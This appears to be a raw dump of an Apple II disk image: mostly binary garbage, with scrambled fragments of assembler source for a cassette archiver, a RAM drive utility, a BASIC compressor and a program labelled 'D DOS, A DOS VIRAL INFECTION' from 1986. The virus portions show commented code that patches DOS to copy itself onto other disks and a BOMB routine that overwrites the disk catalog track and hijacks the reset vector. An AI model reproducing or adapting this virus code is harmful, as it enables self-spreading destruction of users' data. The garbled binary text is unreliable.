' +JJJJ ?\>m0M='+l> /+l   d]@ŵLҦ]]LF L}BBL] X  ` 鷎귭෍ᷩ췩緈JJJJx Lȿ L8ᷭ緍췩 緍i 8 `巬 췌`x (`(8`I`B` ``>J>J>VU)?`8'x0|&HhHh VY)'&Y)xꪽ)' `Hh`V0^*^*>&` aI꽌ɪVɭ&Y&&Y& 꽌ɪ\8`&&꽌ɪɖ'*&%&,E'зЮ꽌ɪФ`+*xS&x'8*3Ixix&& 8  '  & x)*++`FG8`0($ p,&"ųųೳŪŪųųij  !"#$%&'()*+,-./0123456789:;<=>?   1 '" *"( (9"1 ( ,.(0# 2  /#0/#0 *?'#07#00/0/'#07#0:"4<*55/**5/*%5/)1/)1/)1/)'#0/#0*5/*75/**5/*:5//#0/#0'#07#0:::*::'#07#0"):$(%"%:$(%"%$$2%4%$$2%4%$(2()!)E(!8b $!H(+ "@H !D)"E` @ $ C ` DQ &J80^݌Hh ü ü݌ ռ ռ ռA ļD ļ? ļAEDE?HJ>h Լ ռ ռ ռ`HJ>݌h Hh݌`葠葠ȔЖȔЖȠHIHHHHhHH݌hHhHh݌H6 VDP (ED Z $0x8x D- ܸDD# H8`?E Vk *f???0xE Hh D#-EEE8` D ܸx D - ܸx8`-0ݩ?ʥD EEE`   LDcpq` [` ~  LӜu`".Q`pNФbptťܥm2<(-Py0\|e<6e<g< JJJJj귍hI  aUL@ kU8  L  Q^R(jQ0l^l\  wUuW ԧ H h@ [_ /QSIRb_L`LLLL`ª`LQLYLeLXLeLee ўQH\(h0L& Ꝥ$`( R \ZLl8 ўR HH\`\Z[YS6`LxQɿu3'RͲʎRʎ]]]ɍuL͟ɍ}RLRɍg^H8 ^hZLɍR LͲɊRR% QLܤͲ Z@ -^ ş\[Z QY\[Z8`l6Lş_Ȍb_Ͳ] )Y h( ֭ͲLɍ [LLĦ__ ^ 9 LҦ3 9 a   0LjLY u< (_9 ˭ɠuɠK_9 ?LˆʎõĵL õ ĵµ aµ`` L̦µ_bJLuLz`  ȟ QlXJ̥KlV  ȟ QlV eօ3L e3L &RL &QL d L4 Ne)n `@-eff L f`L . tQLѤ LҦL` OPu d L Ne)noon 8ɍ` ^f\õL ^NR  RΩLҦ)\Z ʽ LHv 3h`0h8` [L NС õ`A@` ŵL^Lõ`  \ 濭0 \  ȟ Q ^\lZl^?cqH şch`fhjõĵ@OAP`u@`@&`QR`E Ls  @DAE@u`8` %@ @A@`@`@A`Mµ ) LЦ`8@AWc@8@-@HAȑ@hHȑ@ȑ@hHȑ@Ȋ@ch8&ȑ@Hȑ@Ah@LHȑ@ȑ@ htphso`hMhL`9V8U897T6S67`INILOASAVRUCHAIDELETLOCUNLOCCLOSREAEXEWRITPOSITIOOPEAPPENRENAMCATALOMONOMOPRINMAXFILEFINBSAVBLOABRUVERIF!pppp p p p p`" t""#x"p0p@p@@@p@!y q q p@  LANGUAGE NOT AVAILABLRANGE ERROWRITE PROTECTEEND OF DATFILE NOT FOUNVOLUME MISMATCI/O ERRODISK FULFILE LOCKESYNTAX ERRONO BUFFERS AVAILABLFILE TYPE MISMATCPROGRAM TOO LARGNOT DIRECT COMMANč$3>L[dmx- (  Ϡ@跻~!Wo*9~~~~ɬƬ~_ j ʪHɪH`Lc (L ܫ㵮赎 ɱ^_ J QL_Ls贩紎 DǴҵԵƴѵӵµȴ 7 ַ :ŵƴѵǴҵȴµ納贍﵎ٵ്ᵭⳍڵL^ѵ-I `  4 ò-յ!  8صٵ紭ﵝ 7L (0+BC  7L HH`LgL{0 HH` õL H hBL BH [ h`Lo õ ڬL B ڬ LʬH hB@ յյ [L (ȴ) ȴ 7L L ( L (ȴL{ƴѵ洩ƴǴҵ 7 ^* B0 HȱBh ӵԵ 8 L8 ݲ` ܫ  / / ED B / / ]ƴS0Jȴ ȴ)  紅D贅E B ƴ  / 0L Ν `HD٤DEEhiHLGh ` ŵBѵ-` ѵB-` ܫ XI볩쳢8 DH E𳈈췍Ȍ X0 · JLǵBȵC`,յp` 䯩 R-յյ`յ0` K R-յյ`ɵʵӵԵ` 4 K ( ѵҵLBȱBL8` DBHBH : ַ޵BȭߵBhhӵԵ RBܵmڵ޵ȱBݵm۵ߵ` 䯩LR˵̵ֵ׵`êĪLR E( 8` R` ELRŪƪ`췌 յյI뷭鷭귭ⵍ㵍跬ª 뷰` Lf ݵܵߵ޵ ^`8ܵ i B8` 4L ֵȱB׵ ܯ䵍൭嵍 ` DȑB׵Bֵ  ַ յյ`굎뵎쵬 뵎쵌``õĵBCõĵ`µµ`L õBĵCصص Qƴ0"Bƴ 󮜳` 0۰ϬBƴ8`i#`ЗLw!0>ﵭ` m ﳐ 7i볍 8 ЉLw`H h ݲL~ `浍국䵍뵩嵠Jm赍嵊mjnnn浈ۭm浍浭m䵍䵩m嵍`"L ŵ8ŵH ~(` i d ֠z# u`A1H #$37 A2H READAND READ IT ; ; TOGGLE KBDSTRBPLAY CASSETTE #$00INPUT THRU THE SPEAKER CHKSUM ^1 TAPEIN #$80 CHKSUM >2 SPKR CHKSUM ^2 KYBD <1  ; ; ;  ES #$00SET Y FOR LOOP $^1 FILL UP PAGES WITH BYTES (A1L),YIN ASCENDING ORDER  <1 A1HMOVE UP A PAGE AND LOOP <1 #$27RESTORE A1H A1H WRITEAND WRITE IT ; ; RSEQ #$00SET UP ADDRESSES A1L A2L #$27 D16231019121BC0 ; ; ; TONE CHANGE A-REG WRBYTEOUTPUT IT  KYBDA KEYPRESS? TONENO, LOOP KBDSTRBTURN KEYBOARD OFF AND RETURN ; ; WSEQ #$00SET UP ADDRESSES A1L A2L #$27 A1H #$37 A2H #$10SET 10 PAGOD3+1 TWOMOD+4 MOD4+1 TWOMOD+5 MOD5+1 TWOMOD+6 HEADR+1 TWOMOD+7 MOD7+1 TWOMOD+8 MOD8+1 TWOMOD+9 MOD9+1 TWOMOD+10 MOD10+1 TWOMOD+11 MOD11+1  ; ; ; #ONEMOD 271D22243B354B21322C3A80 #TWOMOD 141011121 HEADR+1 ONEMOD+7 MOD7+1 ONEMOD+8 MOD8+1 ONEMOD+9 MOD9+1 ONEMOD+10 MOD10+1 ONEMOD+11 MOD11+1  ; ; ; !TWOBAUD TWOMODMAKE CHANGES TO MOD0+1SET 2400 BAUD TWOMOD+1 MOD1+1 TWOMOD+2 MOD2+1 TWOMOD+3 M; ; NXTA1 A1L A2L A1H A2H A1L RTS4B A1H RTS4B ; ; ; ; ONEBAUD ONEMOD MOD0+1TO SET 1200 BAUD ONEMOD+1 MOD1+1 ONEMOD+2 MOD2+1 ONEMOD+3 MOD3+1 ONEMOD+4 MOD4+1 ONEMOD+5 MOD5+1 ONEMOD+6 RDBITREAD >2< TRANSITIONS RDBIT DECREMENT THE Y-REG TAPEINA TAPE TRANSITION? LASTIN RDBITNO, DEC Y AGAIN LASTINCOMPARE WITH LAST READ LASTINAND STORE IT DOWN *MOD11 #$80IF Y=>#$80, THEN A '1' BIT ELSE '0' BIT, RETURN ; ; ; ; RDBYTE #$08SET READ 8 BITS RDBYT2 SAVE A-REG RD2BITGET A BIT IN CARRY RESTORE A-REG ADD THE BIT TO IT !MOD10 #$3ARESET Y FOR RDBIT DECREMENT COUNT RDBYT2AND LOOP RETURN WITH BYTE IN A-REG ; ; ; %RD2BIT ND TRANSITION ZERDLY USE Y AS A DELAY ZERDLYLOOP "WRTAPEIF INPUT BIT=0, WRITE IT "MOD8 #$32ELSE ANOTHER DELAY ONEDLY WHICH IS HERE ONEDLY #WRTAPE TAPEOUTNOW WRITE IT OUT MOD9 #$2CRESTORE Y DECREMENT X AND RETURNWBELL2AND SKIP NEWBELL #$00SET NO ERROR ERROR NEWBELL2#$87OUTPUT A ^G COUT ; ; ; HEADR #$4BTHIS IS MOD6 ZERDLY HEADR #$FE HEADR MOD7 #$21 %WRBIT ZERDLYOUTPUT 1 TRANSITION INCREMENT Y TWICE AND OUTPUT 2RD2BIT #$16 HEADR CHKSUM RD2BIT MOD3 #$24 RDBIT MOD3 RDBIT MOD4 #$3B RD3 RDBYTE (A1L,X) CHKSUM CHKSUM NXTA1 MOD5 #$35 RD3 RDBYTE CHKSUM NEWBELL NEWERR #$FFSET ERROR ERROR NE #$00 (A1L,X)  (A1L,X) WRBYTE NXTA1 MOD1 #$1D  WR1 MOD2 #$22 WRBYTE NEWBELL %WRBYTE #$10OUTPUT 16 TRANSITIONS !WRBYT2 MOVE A BIT INTO CARRY WRBITWRITE IT WRBYT2AND LOOP RETURN ; ; READ T $C020TAPE OUTPUT ADDRESS SPKR $C030SPEAKER OUTPUT #TAPEIN $C060TAPE INPUT ADDRESS !COUT $FDEDCHARACTER OUTPUT ; ; ; ;  $1E00  $800 ; ; ; $WRITE #$40SET DELAY FOR HEADER HEADRAND OUTPUT A HEADER MOD0 #$27 WR1IT READ &A1L $3CA1 & A2 STORE THE START %A1H $3DAND END ADDRESS OF THE A2L $3EREAD/WRITE RANGE A2H $3F !ERROR $DE0 IF NO READ ERROR ; ;OTHER EQUATES ; KYBD $C000KEYBOARD INPUT KBDSTRB $C010KYBD STROBE $TAPEOU********************* * * * CASSETTE ROUTINES * * FOR * * TAPE ARCHIVER * * * ********************* ; ; ; ;ZERO PAGE VARIABLES ; #CHKSUM $2ESTORES TAPE CHECKSUM LASTIN $2FLAST B     L5 X. gLɍ ) 0H h h0c ' Ա о  ) & А%ilgU*ر 2Hh 8 L L ҠӠϠԠΠǠҠƠŠǠҾԠӺˠĠŠŠŠōed g+ ɍufjhrs`ԠˬĠҠō4 X g,ɍ )FfL8ͥee ii i١ 0/ g ɍ`ԠˬĠҠčӠΠϠԍ2 X #0_ e ilim L3 X e2_ LΠ 3‡ˠҬӠ٠٠ϠŇ1  8s t穾3 X ɱLiɲL_ ɳL ɴLS ɵL ɶΩ" XQ 囹Q𦩨L1𩠠 X L ƴ ƴ0PȽƴi ! LԠƠ($$bb`$HH$$Fp8DD82HH2 ">DDD8" "@00a@@> ΠΠҠԠξ X! ɍ K < K V  K y K W = t > K `H,0h` '1;EOYcmw !!!!!!!!!!!!!!!!""" Bj @"@ R@**" 00 D|@"" @><(lשЩЩz'Щ7Ѝs0LαLz] Lz#ϠŠġL"@ALH0L HL,HȱH0LGFH>ȱH?,`LFF>>F߭@`LH1L Ѕ?>>??>Ȋ>? SнU0нW4нY|н[НН  LIMITS !SEVNCEE 1FFETRACK $11 BIT MAP )EHTEE FFFFBIT MAPS FOR TK $12,13,14 ; ; ; ERRMESG 8D8D87  "NO LANGUAGE CARD!"  8D00 ; ; ; RWPTCH 4C009BEAEA ; ; ;  ; ; ; )CHKTRK 00000000000000TRACK TABLE 0-6  000000000000007-13  000000D0D0E0F014-20  0000000000000021-27  0000000000000028-34 ; ; ; ONE 110FDIRECTORY SECTOR )THIRTY 1201START OF DISK ALLOCATION? THFOUR 2310DISK T/S BRANCH !SELFMOD+1TO POINT TO INITEXIT BUFNOSET MAXFILES TO 2 FPFINISHED, DO AN FP ; ; ; STARTERR#$00SET OFFSET TO 0 $^4 ERRMESG,XGET A CHARACTER >5IF 0, END COUTPRINT IT OUT  <4AND LOOP ^5 FPDONE, DO AN FP#$01 $D037PAGES PER SECTOR $C082DONE, TURN RAM OFF #$9AMOVE DOS BUFFERS $9D01 #$04NOW PATCH THE RWTS ^6 RWPTCH,X RWTS+4,X  <6 SELFMOD >7NOW ALTER CODE TO INITEXITFMEXITEXIT THRU FM $^7 #$00SET THE ABOVETHIRTY,X $D030,X THFOUR,X $D034,X SEVNCEE,X $D07C,X EHTEE,X $D080,X $D084,X $D088,X  #$02NOT DONE?, LOOP <3 #$03NOW ODD BYTES $D003DOS VERSION #$FE $D006VOLUME NUMBER #$7A $D027MAX # OF T/S PAIRS  DIRECTORY #$0E %^2 #$01ADD DIRECTORY POINTER #$11TRACK $11 (BUF),Y  SECTOR NUMBER (BUF),Y BUF+1  #$0CUP TO SECTOR C? <2NOT DONE, LOOP #$00NOW VTOC ^3 ONE,XSTORE LOTS OF $D001,XBYTES EVERYWHERE  STARTERRNO, ERROR MESSAGE $^1 #$D0OK, NOW CLEAR MEMORY BUF+1 #$00 BUF #$10SET 16 PAGES CLEARED #$00SET Y FOR LOOP ^1 (BUF),YCLEAR MEM  <1 BUF+1MOVE UP A PAGE  <1NOT FINISHED, LOOP BUF+1NOW FILL INOP2 DONEDONE, RETURN VIA RWTS ; ERROR $C082TURN OFF RAM #$40SET DRIVE ERROR #$60SET X-REG HNDLERRAND GIVE AN ERROR ; ; ; !RAMSTART$C08BTURN ON RAM CARD $C08B #$31TEST IF A RAM CARD THERE $D000 $D000 >1YES, SKIPRETURN VIA RWTS ; !READ #$00SET UP Y FOR LOOP LOOP1 (RAM),YCOPY FROM RAM (BUF),YINTO THE BUFFER  LOOP1 DONEDONE, RETURN VIA RWTS ; !WRITE #$00SET UP Y FOR LOOP #LOOP2 (BUF),YCOPY FROM BUFFER (RAM),YTO RAM  LOR (IOB),YADDRESS BUF  (IOB),Y BUF+1 CMDGET THE COMMAND #$01A READ? READ #$02A WRITE? WRITE *DONE $C082IGNORE THE REST, TURN OFF #$00RAM,SET A-REG TO 0 #$60ALSO SET UP X-REG AND CLEAR CARRY ALLDONEAND ADD HIGH NIBBLE OF RAM ADDRESS ERRORNOT $D0-$FF, ERROR RAM+1SET UP RAM ADDRESS #$00 RAM $C083TURN ON RAM $C083 #$11IS IT TRACK $11 >2NO, DO NOTHING $C08BELSE BRING IN BANK2 $C08BOF RAM "^2 #$08NOW GET THE BUFFE(IOB),Y #$04IS IT INITIALISE? >1NO, CONTINUE RAMSTARTELSE RESTART DRIVE ^1 CMDSTORE THE COMMAND #$04GET TRACK FROM IOB (IOB),Y USE AS AN OFFSET NOW GET THE SECTOR +(IOB),YUSE AS LOW NIBBLE OF RAM ADDRESS *CHKTRK,X ; ; ! $9B00THIS IS WHERE IT ENDS UP  $814 ; ; RAMDRIVE#$01SET UP Y TO GET (IOB),YSLOT NO. #$30SLOT 3? >1YES, CONTINUE $#$02ELSE DO MISSING INSTRUCTIONS $6F8 RWTS1AND RETURN TO RWTS ; ; ^1 #$0CGET CMD FROM IOB ND ENTRY POINT ALLDONE $BE46SET NO ERRORS HNDLERR $BE48SET ERROR !COUT $FDEDCHAR OUT ROUTINE ; ; ;  $3FEC  $800 ; ; RAMLOAD #$00COPY PROGRAM TO ^1 $4000,XDOS BUFFERS $9B00,X $4100,X $9C00,X  <1 RAMSTARTF RAM SECTOR IOB $48ADDRESS OF IOB ; ;OTHER EQUATES ; WARMSTRT $9DBFDOS WARMSTART FP $A57ADOS FP COMMAND +BUFNO $AAB1DEFAULT NO. OF DOS BUFFERS "FMEXIT $B37FFILE MANAGER EXIT RWTS $BD00START OF RWTS RWTS1 $BD092**************** * * * 16K RAMDRIVE * * * * BY W.TOOMEY * * * **************** ; ; ;ZERO PAGE EQUATES ; "CMD $2CUSE TO HOLD COMMAND %BUF $3EADDRESS OF USER BUFFER $RAM $46ADDRESS O     שЩЩz'Щ7Ѝs0LαLz] Lz#ϠŠġL?@ALH0L HL,HȱH0LGFH>ȱH?,`LFF>>F߭@`LH1L Ѕ?>>??>Ȋ>? SнU0нW4нY|н[НН W`XYZ[7\A]O^i_t`abc`'"$;5K!2,:# ,,`<>'=7?<='=L<>'=7?L).`).0.`>@ h'A=?<=`LMNO7PAQORiStTUV 7]]         L L``z `HHH0L jL | { sHd&]SV ?0!0 hhh(LjL[hhhh\LզH&S ¢ 0000IOB buffer  0000 IBCMD 00IOB command IBSTAT 00IOB errors 006001 ; DCT 0001EFD8 ; ;  COUNTIf count >0, loop LOOP2 RESTORand return to DOS ; ; ; IOB 01IOB starts here IBSLT 60IOB slot IBDRVN 01IOB drive IBVOL 00IOB volume IBTRK 00IOB track IBSC 00IOB sector IBDCT DCTDCT address IBBUFR #$01 #$0A #$02 GETSCDone! RESTORand go to DOS ; %BOMB #$ABMake a strange buffer BUFFER+1 #$10Overwrite all of COUNTtrack $11 ! &LOOP2 COUNTDecrement the counter #$11 COUNT #$02 GETSCWrite the sector! OTCNT #$00 #$0A #$02 GETSCDone! #$FFRestore BOOTCNT BOOTCNTto normal value IBBUFR+1Now Tk0,ScB #$00 #$0B #$02 GETSCDone! IBBUFR+1Now Tk0,ScC #$00 #$0C #$02 GETSCDone! /$AB00Now Tk1,ScA IBBUFR+1 GETSCDone! #$37Set X=54 "LOOP1 DOSCOPY,XModify sector BUFCOPY,X Decrement X register LOOP1 Now save Tk0,Sc0A #$01Modfied, now save back #$02to disk GETSC /$9B00Now save Tk0,ScA IBBUFR+1 #$04Init BOOTCNT BOidbytes BUFFER+3in Tk11,ScF #$26 BUFFER+4 #$53 BUFFER+5 MCOUNTCopy MCOUNT to disk DCOUNT MCOUNT+1 DCOUNT+1 #$11 #$0F #$02 GETSCDone! !RESTORIf error, return to DOS #$00 #$01 Read Tk0,Sc1 into buffer R $AA5Cand store in DOS #$A6D5then jump to error handler ; ; ; (; Copydos: We must first modify Tk0,Sc1 '; as it contains the 'state' of DOS at ); bootup. We must also copy Tk0,Sc0A-0C, ; Tk1,Sc0A and Tk11,Sc0F ; ©DOS #$48First set DDOS DCOUNT+1 #$11and copy to disk #$0F #$02 GETSCDone! ; RESTOR Pull registers      $AE6Aand go back to DOS ; ; $BOMB2 BOMBJump to BOMB routine ; ; ERROR Pull all off stack    #$08Set I/O ERRONT DCOUNT+1Check DCOUNT>=MCOUNT MCOUNT+1 RESTORNo, restore COMPCNT2Equal? Test again COPYCNTElse COPYCOUNT COMPCNT2DCOUNTCompare lsb's MCOUNT RESTORNo, restore ; 'COPYCNT MCOUNTCopy MCOUNT to buffer DCOUNT MCOUNT+1 FFER+4 COPYDOSNo, COPYDOS #$53 BUFFER+5 COPYDOSNo, COPYDOS ; CHEKMCNTMCOUNTIs MCOUNT=0? MCOUNT+1 BOMB2Yes, BOMB ; DECMCNT MCOUNTDec MCOUNT lsb MCOUNTIs it #$FF? #$FF COMPCNTNo, don't lower msb MCOUNT+1 ; (COMPCERRORError, inform DOS BOOTCNTIs it 0? !CHECKIDNo, continue with DDOS BOOTCNTelse dec BOOTCNT DCOUNTand copy DCOUNT MCOUNTinto memory DCOUNT+1 MCOUNT+1 CHECKID #$48Is it DDOS? BUFFER+3 COPYDOSNo, COPYDOS #$26 BUIBDRVNWe want it too! FMSLTNGet the slot also Multiply by 16 to conform to the RWTS   IBSLT ; $GETCAT #BUFFERSet up I/O buffer IBBUFR /BUFFER IBBUFR+1 #$11Set Tk11,Sc0F,read #$0F #$01 GETSCGet the sector  DDOS2 BOOTCNTelse dec BOOTCNT RESTORand bypass DDOS ; %DDOS2 RSTFMWRestore FM workarea "SUBCODEIs FM acessing catalog? >1Yes, do DDOS RESTORelse go to DOS &^1 FMDRVNGet drive user wants GETCATIf 0, use last value (lsb & msb) ,BOOTCNT 03Stops DDOS interrupting bootup "COUNT 10Used as a temp count ; ; ; ; ; D DOS Entry point ; ----------------- ; ; DDOS Push all registers      BOOTCNTTest BOOTCNT DDOS2If not +ve,goto DDOS Sc, A holds R/W command ; --------------------------- ; #GETSC IBTRKStore track in IOB IBSCStore sctr in IOB IBCMDStore cmmnd in IOB /IOB ** Drive & buffer #IOB ** set externally RWTSDo the RWTS  (MCOUNT 0004Memory count 7ED*D DOS is stored on #$02Tk 0, Sc 0A $B7F4 $B793 $B7E7 $B6FE  #$09 $B7F1 #$0A $B7E1  #$01 $B6FF $B7ED $B793  ; ; ;  $9B00  $800 ; ; ; Subroutine to read/write a ; sector. X holds Tk, Y holds ;mmediately ; ; ;  $B75D  $800 ; ; ; Replacement code to patch ; into the DOS copying routine ; ---------------------------- ; DOSCOPY #$1BSet the count to $B7E1$1B so as to copy #$02sectors 0A & 0B of $B7ECTrack 0 #$04 $B"SUBCODE $B5BCCurrent FM sub-op ; ; ; Remember $9D00:D9 99 for the ; file buffer modification ;  $AB06  $800 ; ; ; Replacement code to patch ; into the file manager ; ------------------------- ; FILMGR SSAV1 DDOSJump to DDOS ib in buffer ;DCOUNT+1 is msb $SSAV1 $B39BAddress used by DOS !FMDRVN $B5C0Drive used by FM FMSLTN $B5C1Slot used by FM RWTS $B7B5RWTS subroutine 2BUFCOPY BUFFER+$5DTk0,Sc1 modification address %RSTFMW $AE6ARestores FM workarea T * ; * & * ; * THE HAWK * ; * * ; ************************* ; ; ; DOS & MONITOR EQUATES ; --------------------- ; %BUFFER $9A00Buffer used by D DOS -DCOUNT BUFFER+$6Disk count lsw; ************************* ; * * ; * D DOS * ; * * ; * A DOS VIRAL INFECTION * ; * * ; * (C) 1986 * ; * * ; * THE STUDEN       =8m>mn?nL, ZNEF- ,00 *$,XǘP$,ȱ8# =ۥ % ,L;LL { lݥHH g hh  = 8 ߅HH hE0hE0$0$0Hh`Lv Bqc?BC ,ЍP    ✢D  ✢ܘ  DL𛩫TmTm L``ΡT1L&zSs VD \L $0' 0$Dp hT hh(T~LjD6Lhhhhx\@VLզHD &STv @p 7$]]@p ✩ $ i ✢ T rٍ ԧ 4= ]r r!`ᷩ췩 緍i 8 `DLݜޜ圩\TL `HDyHHT 0L jLxyۜ ڜᜩ✢T LD9H   IBSC 00IOB sector IBDCT DCTDCT address IBBUFR 0000IOB buffer  0000 IBCMD 00IOB command IBSTAT 00IOB errors 006001 ; DCT 0001EFD8 ; ;  0001EFD8 ; ;  BBUFR+1 #$01 #$0A #$02 GETSCand write it to disk  remove RTS from stack $E000and do BASIC cold start ; ; IOB 01IOB starts here IBSLT 60IOB slot IBDRVN 01IOB drive IBVOL 00IOB volume IBTRK 00IOB track$10Overwrite all of MCOUNTtrack $11 ! 'LOOP2 MCOUNTDcrement the counter #$11 MCOUNT #$02 GETSCWrite the sector! MCOUNTIf MCOUNT >=0, loop LOOP2 ; %FIXUPDOS#$6AFix up the DDOS patch $AB0B #$AE $AB0C /$AB00 I IBBUFR+1 #$01 #$0A #$02 GETSCDone!  ; $POPREST Take out the JSR address  RESTORand go to DOS ; ; !BOMB #BOMBFix the reset to $F2always jump to here /BOMB $3F3 #$3EChange the powerup byte $3F4 ; #OPRESTIf error, return to DOS /$9B00Now save Tk0,ScA IBBUFR+1 #$00 #$0A #$02 GETSCDone! IBBUFR+1Now Tk0,ScB #$00 #$0B #$02 GETSCDone! IBBUFR+1Now Tk0,ScC #$00 #$0C #$02 GETSCDone! /$AB00Now Tk1,ScAbuffer #$00 #$01  GETSCDone! #$37Set X=54 "LOOP1 DOSCOPY,XModify sector BUFCOPY,X Decrement X register LOOP1 Now save Tk0,Sc0A #$01Modified, now save back #$02to disk Set no RWTS error condition GETSC "P8Get DDOS IDbyte (BUFFER+$12Is the disk byte the same?  ; ; (; Copydos: We must first modify Tk0,Sc1 '; as it contains the 'state' of DOS at &; bootup. We must also copy Tk0,ScA-C ; and Tk1,ScA ; COPYDOS /BUFFERRead Tk0,Sc1 IBBUFR+1into COPY2No ,goto COPY2 RESTORotherwise restore ; PRIME CHECKDOSIs DOS DDOS? BOMBNo, BOMB! #$40 DCOUNTIs DCOUNT>64? BOMBNo, BOMB! RESTOR Pull registers      $AE6Aand go back to DOS ; ; ; ; CHECKDOS#$0oto COPY1 RESTORotherwise, restore ; REGEN CHECKDOSIs DOS DDOS? REGEN1Yes, goto REGEN1 COPY2 #$80 MCOUNTSet MCOUNT=128 COPYDOSCopy the DOS #$00 MCOUNTMCOUNT=0 RESTORand restore REGEN1 #$0ADCOUNT < 10? DCOUNT  goto REGEN PRIMEIf 0, goto PRIME %MCOUNTotherwise, decrement MCOUNT CHECKDOSIs DOS DDOS? START1Yes, goto START1 COPY1 COPYDOSCopy the DDOS RESTORand restore to DOS (START1 DCOUNTCheck if MCOUNT0, loop  DC08153 byte NOP LOOP2 RESTScC #$00  44942 byte NOP #$0C #$02 GETSCDone! /$AB00Now Tk1,ScA IBBUFR+1 #$01  DC98F13 byte NOP #$0A #$02  FC0AD63 byte NOP GETSCDone!  44D02 byte NOP RESTORand go to DOS ; %BOMB #$ABMake a strange buInit BOOTCNT BOOTCNT  DC0A243 byte NOP #$00 #$0A #$02  F4692 byte NOP GETSCDone! #$FFRestore BOOTCNT BOOTCNTto normal value IBBUFR+1Now Tk0,ScB #$00 #$0B #$02  54C42 byte NOP GETSCDone! IBBUFR+1Now Tk0,et X=54  F4242 byte NOP "LOOP1 DOSCOPY,XModify sector BUFCOPY,X Decrement X register LOOP1 Now save Tk0,Sc0A #$01Modfied, now save back #$02to disk  FC40703 byte NOP GETSC /$9B00Now save Tk0,ScA IBBUFR+1 #$00BUFFER+5 MCOUNTCopy MCOUNT to disk DCOUNT MCOUNT+1 DCOUNT+1 #$11 #$0F #$02  54762 byte NOP GETSCDone! !RESTORIf error, return to DOS #$00 #$01 Read Tk0,Sc1 into buffer  FC40703 byte NOP GETSCDone! #$37Sos: We must first modify Tk0,Sc1 '; as it contains the 'state' of DOS at ); bootup. We must also copy Tk0,Sc0A-0C, ; Tk1,Sc0A and Tk11,Sc0F ; ©DOS #$48First set DDOS idbytes BUFFER+3in Tk11,ScF  44092 byte NOP #$26 BUFFER+4 #$53 S ; ;  44362 byte NOP $BOMB2 BOMBJump to BOMB routine ; ; ERROR Pull all off stack    #$08Set I/O ERROR  FC78F93 byte NOP $AA5Cand store in DOS  FC40563 byte NOP #$A6D5then jump to error handler ; ; ; (; CopydUNT t buffer DCOUNT MCOUNT+1 DCOUNT+1  44702 byte NOP #$11and copy to disk #$0F #$02  F4E42 byte NOP GETSCDone! ; RESTOR Pull registers   54202 byte NOP      547E2 byte NOP $AE6Aand go back to DO DCOUNT+1Check DCOUNT>=MCOUNT MCOUNT+1  DC0A243 byte NOP RESTORNo, restore COMPCNT2Equal? Test again COPYCNTElse COPYCOUNT COMPCNT2DCOUNTCompare lsb's MCOUNT RESTORNo, restore ;  F4242 byte NOP 'COPYCNT MCOUNTCopy MCO, COPYDOS ; CHEKMCNTMCOUNTIs MCOUNT=0? MCOUNT+1 BOMB2Yes, BOMB ;  44112 byte NOP DECMCNT MCOUNTDec MCOUNT lsb MCOUNTIs it #$FF? #$FF COMPCNTNo, don't lower msb  5CD84C3 byte NOP MCOUNT+1 ;  FCFA0E3 byte NOP (COMPCNTUNT MCOUNTinto memory DCOUNT+1 MCOUNT+1 CHECKID #$48Is it DDOS? BUFFER+3  54312 byte NOP >1Yes ,continue COPYDOSelse COPYDOS ^1 #$26 BUFFER+4  F4942 byte NOP COPYDOSNo, COPYDOS #$53 BUFFER+5 COPYDOSNo Tk11,Sc0F,read #$0F #$01  54E92 byte NOP GETSCGet the sector >1No error, continue ERRORelse inform DOS ^1 BOOTCNTIs it 0? !CHECKIDNo, continue with DDOS BOOTCNTelse dec BOOTCNT  44392 byte NOP DCOUNTand copy DCOts GETCATIf 0, use last value  FC78793 byte NOP IBDRVNWe want it too! FMSLTNGet the slot also Multiply by 16 to conform to the RWTS   IBSLT ; $GETCAT #BUFFERSet up I/O buffer IBBUFR /BUFFER IBBUFR+1 #$11Setnot +ve,goto DDOS DDOS2 BOOTCNTelse dec BOOTCNT RESTORand bypass DDOS ;  F4092 byte NOP %DDOS2 RSTFMWRestore FM workarea "SUBCODEIs FM acessing catalog? >1Yes, do DDOS RESTORelse go to DOS &^1 FMDRVNGet drive user wan) !BOOTCNT FFNew value for DFILE "COUNT 10Used as a temp count ; ; ; ; ; D DOS Entry point ; ----------------- ; ; DDOS Push all registers    44792 byte NOP     54812 byte NOP BOOTCNTTest BOOTCNT DDOS2If byte NOP #GETSC IBTRKStore track in IOB IBSCStore sctr in IOB IBCMDStore cmmnd in IOB /IOB ** Drive & buffer  5C15103 byte NOP #IOB ** set externally  544C2 byte NOP RWTSDo the RWTS  (MCOUNT 0004Memory count (lsb & msb7 $B6FE  #$09 $B7F1 #$0A $B7E1  #$01 $B6FF $B7ED $B793  ; ; ;  $9B00  $872 ; ; ; Subroutine to read/write a ; sector. X holds Tk, Y holds ; Sc, A holds R/W command ; --------------------------- ;  444C2 ch ; into the DOS copying routine ; ---------------------------- ; DOSCOPY #$1BSet the count to $B7E1$1B so as to copy #$02sectors 0A & 0B of $B7ECTrack 0 #$04 $B7ED*D DOS is stored on #$02Tk 0, Sc 0A $B7F4 $B793 $B7ELE+$72,XCopy the first $9B00,Xsector of DDOS  LOOOP2 ; #LOOP3 DFILE+$172,XCopy second $9C00,Xsector of DDOS  LOOP3 ;  EAEAEAEAEAEASpare bytes and return to caller ; ; ;  $B75D  $83D ; ; ; Replacement code to pats $9D00and reset them #$99 $9D01 $A7D4by rebuilding them #$1CInsert patch to the $AB0BDOS file manager #$9B $AB0C ; #$34 LOOOP1 DFILE+$3D,XCopy the $B75D,XDOSCOPY patch to DOS  LOOOP1 ; #$00 %LOOOP2 DFI"SUBCODE $B5BCCurrent FM sub-op ; ; ; Remember $9D00:D9 99 for the ; file buffer modification ;  $2000  $800 ; ; ; DFILE CODE ; ---------- ; ;Copies DDOS from a prog to DOS ;Called as a subroutine. ; ; "DFILE #$D9Modify DOS bufferb in buffer ;DCOUNT+1 is msb $SSAV1 $B39BAddress used by DOS !FMDRVN $B5C0Drive used by FM FMSLTN $B5C1Slot used by FM RWTS $B7B5RWTS subroutine 2BUFCOPY BUFFER+$5DTk0,Sc1 modification address %RSTFMW $AE6ARestores FM workarea T * ; * & * ; * THE HAWK * ; * * ; ************************* ; ; ; DOS & MONITOR EQUATES ; --------------------- ; %BUFFER $9A00Buffer used by D DOS -DCOUNT BUFFER+$6Disk count lsg; ************************* ; * * ; * D DOS * ; * * ; * A DOS VIRAL INFECTION * ; * * ; * (C) 1986 * ; * * ; * THE STUDEN                   i`ii` 铠`` `AZ8``098`` GOTO GOSUB THEN *** PASS1 *** END PASS1 *** NOT COMPRESSED *** PASS2 *** END PASS2 OLD PROGRAM LENGTH: NEW 